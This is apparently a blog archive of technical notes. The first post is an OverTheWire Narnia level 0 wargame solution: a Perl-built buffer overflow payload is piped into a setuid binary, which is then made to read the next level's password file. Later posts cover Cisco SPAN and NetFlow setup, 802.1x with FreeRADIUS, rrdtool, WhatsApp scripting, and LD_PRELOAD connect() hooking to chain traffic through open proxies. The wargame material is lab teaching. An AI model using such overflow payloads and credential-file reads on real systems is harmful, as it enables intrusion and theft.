#ssh narnia0@narnia.labs.overthewire.org6e61726e696130narnia0@melissa$file /narnia/narnia0narnia0@melissa$cat /narnia/narnia0.cnarnia0@melissa$perl -e 'print "a"x20 . "\xef\xbe\xad\xde"'narnia0@melissa$cat | /narnia/narnia0aaaaaaaaaaaaaaaaaaaaï¾Þ/usr/bin/whoami/bin/cat /etc/narnia_pass/narnia1^Cnarnia0@melissa$(perl -e 'print "a"x20 . "\xef\xbe\xad\xde"' ; echo "/usr/bin/whoami" ; echo "/bin/cat /etc/narnia_pass/narnia1") | /narnia/narnia0narnia0@melissa$(((echo -e "aaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde" ; exit) ; echo "/usr/bin/whoami") ; echo "/bin/cat /etc/narnia_pass/narnia1") | /narnia/narnia0
# Narnia wargame: Level 0
Labels:
narnia,
overthewire,
wargame
# Mini Protocol Analyzer
Understanding how the Mini Protocol Analyzer works
- Release 12.2(33)SXI and later releases support the Mini Protocol Analyzer feature.
- Captures network traffic from a SPAN session and stores the captured packet in a local memory buffer.
- You can limit the captured packets from selected VLANs, ACLs, MACs, ethertype or packet size.
- You can start and stop the capture using immediate commands, or schedule the capture to begin at a specified date and time.
- The captured data can be displayed on the console, stored to a local file system, or exported to an external server.
- By default, only the first 68 bytes of each packet are captured.
- Only one capture session is supported.
Configuration
Switch(config)#monitor session 1 type captureSwitch(config-mon-capture)#description Mini Protocol Analyzer sessionSwitch(config-mon-capture)#buffer-size 1024! The default is 2048 KB Switch(config-mon-capture)#rate-limit 1000! The default is 10000 packets per second Switch(config-mon-capture)#source interface gi1/1 bothSwitch(config-mon-capture)#filter access-group capture_aclSwitch(config-mon-capture)#filter vlan 100Switch(config-mon-capture)#filter ethertype 0x0800! IPv4 packets Switch(config-mon-capture)#filter length 0 1024! Between 0 and 1024 bytes Switch(config-mon-capture)#filter mac-address aabb.ccdd.eeff
Starting and stopping a capture
The capture ends when one of the following conditions occurs:
- A stop or clear command is executed.
- The capture buffer becomes full, unless it is configured as a circular buffer.
- The number of seconds has elapsed.
- The number of packets has been captured.
Switch#monitor capture linear startSwitch#monitor capture linear start for 10 secondsSwitch#monitor capture linear start schedule at 22:00:00 11 feb 2013
Displaying and exporting the capture buffer
Switch#show monitor captureSwitch#show monitor capture statusSwitch#show monitor capture buffer 1 detailSwitch#show monitor capture buffer 1 briefSwitch#monitor capture export buffer disk0:capture_file.cap
# Configuring Local SPAN, RSPAN and ERSPAN
Switched Port ANalyzer (SPAN)
- Monitors all traffic, including multicast and BPDUs.
- 2 local SPAN source sessions.
- 128 sources per session.
- 64 destinations per session.
Switch(config)#monitor session 1 type localSwitch(config-mon-local)#description SPAN sessionSwitch(config-mon-local)#source interface gi1/1-4 bothSwitch(config-mon-local)#destination interface gi2/1Switch(config-mon-local)#no shut
Switch(config)#monitor session 1 source interface gi1/1-4 bothSwitch(config)#monitor session 1 destination interface gi2/1
Remote SPAN (RSPAN)
- Uses a Layer 2 VLAN to carry SPAN traffic between switches.
- Does not monitor BPDUs.
- 2 RSPAN source sessions.
- 64 RSPAN destination sessions.
- 128 sources per session and 1 RSPAN VLAN.
- 64 destinations per session.
- Any network device that supports RSPAN VLANs can be an RSPAN intermediate device.
- MAC address learning is disabled in the RSPAN VLAN.
Switch1(config)#monitor session 1 type rspan-sourceSwitch1(config-mon-rspan-src)#description RSPAN session - sourceSwitch1(config-mon-rspan-src)#source interface gi1/1-4 bothSwitch1(config-mon-rspan-src)#destination remote vlan 666Switch1(config-mon-rspan-src)#no shutSwitch2(config)#monitor session 1 type rspan-destinationSwitch2(config-mon-rspan-dst)#description RSPAN session - destinationSwitch2(config-mon-rspan-dst)#source remote vlan 666Switch2(config-mon-rspan-dst)#destination interface gi2/1Switch2(config-mon-rspan-dst)#no shut
Switch1(config)#monitor session 1 source interface gi1/1-4 bothSwitch1(config)#monitor session 1 destination remote vlan 666Switch2(config)#monitor session 1 source remote vlan 666Switch2(config)#monitor session 1 destination interface gi2/1
Encapsulated RSPAN (ERSPAN)
- Uses a GRE tunnel to carry traffic between switches.
- Adds 50 byte header.
- DF bit is set to prevent fragmentation.
- ERSPAN ID differentiates from various different ERSPAN source sessions.
- Monitors all traffic, including multicast and BPDUs.
- 2 ERSPAN source sessions.
- 24 ERSPAN destination sessions.
- 128 sources per session and 1 IP address.
- 64 destinations per session.
Switch1(config)#monitor session 1 type erspan-sourceSwitch1(config-mon-erspan-src)#description ERSPAN session - sourceSwitch1(config-mon-erspan-src)#source interface gi1/1-4 bothSwitch1(config-mon-erspan-src)#destinationSwitch1(config-mon-erspan-src-dst)#ip address 10.2.2.2Switch1(config-mon-erspan-src-dst)#erspan-id 111Switch1(config-mon-erspan-src-dst)#origin ip address 10.1.1.1Switch1(config-mon-erspan-src-dst)#ip ttl 5Switch1(config-mon-erspan-src)#no shutSwitch2(config)#monitor session 1 type erspan-destinationSwitch2(config-mon-erspan-dst)#description ERSPAN session - destinationSwitch2(config-mon-erspan-dst)#sourceSwitch2(config-mon-erspan-dst-src)#ip address 10.2.2.2Switch2(config-mon-erspan-dst-src)#erspan-id 111Switch2(config-mon-erspan-dst)#destination interface gi2/1Switch2(config-mon-erspan-dst)#no shut
Source trunk VLAN filtering
Switch(config)# monitor session 1 filter vlan 1-5,10Destination trunk VLAN filtering
Switch(config)#interface gi2/1Switch(config-if)#switchportSwitch(config-if)#switchport encapsulation dot1qSwitch(config-if)#switchport mode trunkSwitch(config-if)#switchport trunk allowed vlan 10
Destination port permit lists
Switch(config)#monitor permit-listSwitch(config)#monitor permit-list destination interface gi2/2-4Switch#show monitor permit-list
Notes
- SPAN does not copy the encapsulation from trunk sources. You can configure SPAN destinations as trunks to tag the monitored traffic before it is transmitted for analysis.
- Traffic that enters a VLAN through a Layer 3 VLAN interface is monitored when it is transmitted through an egress port that is in the source VLAN.
- Destination etherchannels do not support PAgP or LACP protocols, only the on mode.
- You can connect member links of a destination etherchannel to separate network analyzers.
- SPAN consumes too many switch and network resources to enable permanently.
# NetFlow configuration on Catalyst and Nexus switches
Background information
- The NetFlow cache on the Multilayer Switch Feature Card (MSFC) captures statistics for flows routed in software.
- The NetFlow cache on the Policy Feature Card (PFC) captures statistics for flows routed in hardware.
- A flow mask defines the format of a cache entry in the NetFlow cache table.
- You need to configure Netflow Data Export (NDE) to export NetFlow statistics to a NetFlow collector.
Catalyst NetFlow configuration
- MSFC configuration
Catalyst(config)#interface vlan10Catalyst(config-if)#ip route-cache flowCatalyst(config)#ip flow-export version 5Catalyst(config)#ip flow-cache timeout active 5Catalyst(config)#ip flow-cache timeout inactive 15
- PFC configuration
Catalyst(config)#mls netflowCatalyst(config)#mls flow ip full-interfaceCatalyst(config)#mls nde sender version 5Catalyst(config)#mls aging fastCatalyst(config)#mls aging long 300Catalyst(config)#mls aging normal 15
- Common configuration
Catalyst(config)#snmp-server ifindex persistCatalyst(config)#ip flow-export source loopback0Catalyst(config)#ip flow-export destination 10.0.0.1 9995
- Checks
Catalyst#show ip flow exportCatalyst#show ip cache flowCatalyst#show mls ndeCatalyst#show snmp mib ifmib ifindex
Nexus NetFlow configuration
- Configuration
Nexus(config)#feature netflowNexus(config)#flow exporter collectorNexus(config-flow-exporter)#description export netflow to collectorNexus(config-flow-exporter)#destination 10.0.0.1Nexus(config-flow-exporter)#version 5Nexus(config-flow-exporter)#source loopback0Nexus(config-flow-exporter)#transport udp 9995Nexus(config)#flow monitor monitor_nexusNexus(config-flow-monitor)#exporter collectorNexus(config-flow-monitor)#record netflow-originalNexus(config)#int vlan10Nexus(config-if)#ip flow monitor monitor_nexus inputNexus(config)#flow timeout active 300Nexus(config)#flow timeout inactive 15
- Checks
Nexus#show flow monitor monitor_nexusNexus#show flow exporter collectorNexus#show flow record netflow-originalNexus#show hardware flow ipNexus#show interface snmp-ifindex
# yowsup-cli: Send Whatsapp messages from command-line
Installation and configuration
#apt-get install python python-dateutil python-argparse#wget https://github.com/tgalal/yowsup/archive/master.zip#unzip master.zip#cd yowsup-master/src#cp config.example yowsup-cli.config#cat yowsup-cli.config#chmod +x yowsup-cli#./yowsup-cli --requestcode sms --config yowsup-cli.config#./yowsup-cli --register 123-456 --config yowsup-cli.config#cat yowsup-cli.config
Send a message
# ./yowsup-cli --send 34111222333 "Test message" --wait --config yowsup-cli.config
Receive messages
# ./yowsup-cli --listen --autoack --keepalive --config yowsup-cli.config
Interactive: Send and receive messages
#./yowsup-cli --interactive 34111222333 --wait --autoack --keepalive --config yowsup-cli.config/unavailable
References
https://github.com/tgalal/yowsup
http://www.fonyou.es
Labels:
command-line,
whatsapp,
yowsup-cli
# Log and analyze data with rrdtool
Introduction
We are going to log, every five seconds, the RTT values obtained from doing a ping to two different IP addresses.
Create the database
If we do not obtain a value in 10 seconds that value is lost.
The expected values are between 20.000 and 80.000 milliseconds.
We log data every 1 sample.
We store 120960 samples (one week).
Each sample is taken every 5 seconds.
12 samples x 5 seconds/sample = 60 seconds = 1 minute
12 samples x 60m x 24h x 7d = 120960 samples
#rrdtool create rtt.rrd \>-s 5 \>DS:google:GAUGE:10:20.000:80.000 \>DS:yahoo:GAUGE:10:20.000:80.000 \>RRA:AVERAGE:0.5:1:120960 \>RRA:MIN:0.5:1:120960 \>RRA:MAX:0.5:1:120960
Obtain the RTT values
#cat rtt.sh#watch -n 5 ./rtt.sh 216.239.32.10 68.180.131.16
Check stored values
# rrdtool fetch rtt.rrd AVERAGE | grep -v nanAnalyze the graph
#cat make_graph.sh#./make_graph.sh && eog rtt.png
References
# man rrdtool rrdcreate rrdupdate rrdfetch rrdlast rrdgraph
# Wired 802.1x with EAP/TLS
Authentication server (Freeradius)
#apt-get install freeradius openssl#mkdir /etc/ssl/CA#mkdir /etc/ssl/newcerts#echo '01' > /etc/ssl/CA/serial#touch /etc/ssl/CA/index.txt#cat /etc/ssl/openssl.cnf#cd /etc/ssl/CA#openssl req -new -x509 -extensions v3_ca -keyout cakey.pem -out cacert.pem -days 3650#mv cakey.pem /etc/ssl/private/.#mv cacert.pem /etc/ssl/certs/.#cat >> /etc/ssl/CA/xpextensions << eof>[xpclient_ext]>extendedKeyUsage=1.3.6.1.5.5.7.3.2> >[xpserver_ext]>extendedKeyUsage=1.3.6.1.5.5.7.3.1>eof#openssl req -new -nodes -keyout freeradiuskey.pem -out freeradius.csr -days 3650#openssl ca -in freeradius.csr -config /etc/ssl/openssl.cnf#cp /etc/ssl/newcerts/01.pem freeradius.pem#cat freeradiuskey.pem > freeradiuskeycert.pem#grep -A 100 BEGIN freeradius.pem >> freeradiuskeycert.pem#openssl req -new -nodes -keyout wxpkey.pem -out wxp.csr -days 3650#openssl ca -in wxp.csr -config /etc/ssl/openssl.cnf -extensions xpclient_ext -extfile /etc/ssl/CA/xpextensions#cp /etc/ssl/newcerts/02.pem wxp.pem#openssl pkcs12 -export -in wxp.pem -inkey wxpkey.pem -certfile /etc/ssl/certs/cacert.pem -name "Wired-dot1x" -out wxp.p12#cp /etc/ssl/certs/cacert.pem /etc/freeradius/certs/.#cp /etc/ssl/CA/freeradiuskeycert.pem /etc/freeradius/certs/.#cp /etc/freeradius/eap.conf /etc/freeradius/eap.conf.orig#cat /etc/freeradius/eap.conf#/etc/init.d/freeradius stop#freeradius -X
Authenticator/NAS (Cisco Catalyst 2960)
Switch(config)#aaa new-modelSwitch(config)#radius server freeradiusSwitch(config-radius-server)#address ipv4 192.168.0.100 auth-port 1812 acct-port 1813Switch(config-radius-server)#key MYSECRETSwitch(config)#aaa authentication dot1x default group radiusSwitch(config)#aaa authorization network default group radiusSwitch(config)#aaa accounting dot1x default start-stop group radiusSwitch(config)#radius-server vsa send accountingSwitch(config)#radius-server vsa send authenticationSwitch(config)#interface FastEthernet0/10Switch(config-if)#switchport mode accessSwitch(config-if)#authentication event fail retry 0 action authorize vlan 30Switch(config-if)#authentication event no-response action authorize vlan 20Switch(config-if)#authentication port-control autoSwitch(config-if)#mab eapSwitch(config-if)#dot1x pae authenticatorSwitch(config-if)#dot1x timeout tx-period 1Switch(config-if)#spanning-tree portfastSwitch#!debug dot1x
Supplicant (Windows XP)
Copy cacert.pem and wxp.p12 to the windows xp client.
Rename cacert.pem to cacert.der.
C:\>File > Add/Remove Snap-in... > Add > Certificates > Add > Computer account > Next > Finish > Close > OKnet start "Wired Autoconfig"C:\>mmc
- Certifcates (Local Computer) > Personal > Certificates > All Tasks > Import... > wxp.p12 > key (MY_EXPORT)
- Certifcates (Local Computer) > Trusted Root Certification Authorities > Certificates > All Tasks > Import... > cacert.der
C:\>Change 'machineOrUser' for 'machine'.netsh lan export profile folder=C:\C:\>type nic.xmlmachineOrUser
C:\> netsh lan add profile filename=nic.xmlNIC > Properties > Authentication- Enable IEEE 802.1x authentication for this network
-- EAP type: Smart Card or other Certificate
-- Settings
--- Use a certificate on this computer > Use simple certificate selection
--- Validate server certificate
--- Trusted Root Certification Authorities > ca.lab.net
References
http://en.wikipedia.org/wiki/IEEE_802.1X
http://www.cisco.com/en/US/docs/solutions/Enterprise/Security/TrustSec_1.99/Dot1X_Deployment/Dot1x_Dep_Guide.html
Labels:
802.1x,
certificate,
cisco,
eap,
freeradius,
ios,
tls
# Wired 802.1x with MD5
Authentication server (Freeradius)
#apt-get install freeradius#cat /etc/freeradius/clients.conf#cat /etc/freeradius/users#cat /etc/freeradius/radiusd.conf#mkdir /var/log/freeradius/radacct#chown freerad:freerad /var/log/freeradius/radacct#cat /etc/freeradius/sites-enabled/default#/etc/init.d/freeradius stop#freeradius -X
Authenticator/NAS (Cisco Catalyst 2960)
Switch(config)#aaa new-modelSwitch(config)#radius server freeradiusSwitch(config-radius-server)#address ipv4 192.168.0.100 auth-port 1812 acct-port 1813Switch(config-radius-server)#key MYSECRETSwitch(config)#aaa authentication dot1x default group radiusSwitch(config)#aaa authorization network default group radiusSwitch(config)#aaa accounting dot1x default start-stop group radiusSwitch(config)#radius-server vsa send accountingSwitch(config)#radius-server vsa send authenticationSwitch(config)#interface FastEthernet0/10Switch(config-if)#switchport mode accessSwitch(config-if)#authentication event fail retry 0 action authorize vlan 30Switch(config-if)#authentication event no-response action authorize vlan 20Switch(config-if)#authentication port-control autoSwitch(config-if)#mab eapSwitch(config-if)#dot1x pae authenticatorSwitch(config-if)#dot1x timeout tx-period 1Switch(config-if)#spanning-tree portfastSwitch(config)#ip access-list extended user1_aclSwitch(config-ext-nacl)#permit icmp any host 192.168.0.100Switch#test aaa group radius user1 PASSWORD1 legacySwitch#!debug dot1x
Supplicant (Windows XP)
C:\> net start "Wired Autoconfig"NIC > Properties > Authentication- Enable IEEE 802.1x authentication for this network
- EAP type: MD5-Challenge
References
http://en.wikipedia.org/wiki/IEEE_802.1X
http://www.cisco.com/en/US/docs/solutions/Enterprise/Security/TrustSec_1.99/Dot1X_Deployment/Dot1x_Dep_Guide.html
Labels:
802.1x,
cisco,
freeradius,
ios,
md5
# ashell: Proxy chaining hooking connect()
Introduction
Anonymous shell (ashell) is a tool to tunnel your connections through HTTP/Socks4/Socks5 proxies.
Supports TCP, authentication and chaining different proxy types.
It works by hooking the connect() function using LD_PRELOAD environment variable.
http://sourceforge.net/projects/ashell/
Building and using the tool
#apt-get install libssl-dev#wget http://downloads.sourceforge.net/project/ashell/ashell-0.3.tar.bz2#tar xvjf ashell-0.3.tar.bz2#cd ashell-0.3#cat README#cp ashell/ashell.c .#cat > Makefile << "EOF">HEADERS = http.h socks.h strlib.h>OBJECTS = http.o socks.o strlib.o ashell.o>CFLAGS = -Wall>LFLAGS = -ldl -shared -nostartfiles -fpic> >default: ashell.so> >%.o: %.c $(HEADERS)>#gcc -o $@ -c $<> >ashell.so: $(OBJECTS)>#gcc -o $@ $(CFLAGS) $(LFLAGS) $(OBJECTS)> >clean:>#rm -rf $(OBJECTS)>EOF#sed -i 's/#/\t/' Makefile#make#curl -w "\nTime total=%{time_total}\n" whatismyip.akamai.com#export P_DEBUG=0 # P_DEBUG=1 turns on debugging#export LD_PRELOAD=./ashell.so#export APROXY=S:89.28.65.46:1080+S:86.127.123.141:18060#curl -w "\nTime total=%{time_total}\n" whatismyip.akamai.com
Socks5 open proxy list
http://spys.ru/en/socks-proxy-list/
# LD_PRELOAD hooking
#grep -m 1 localtime /usr/include/time.h#cat newdate.c#gcc -Wall -fPIC -o newdate.o -c newdate.c#ld -shared -o newdate.so newdate.o -ldl#date#LD_PRELOAD=./newdate.so date
Labels:
hooking,
ld_preload
Subscribe to:
Posts (Atom)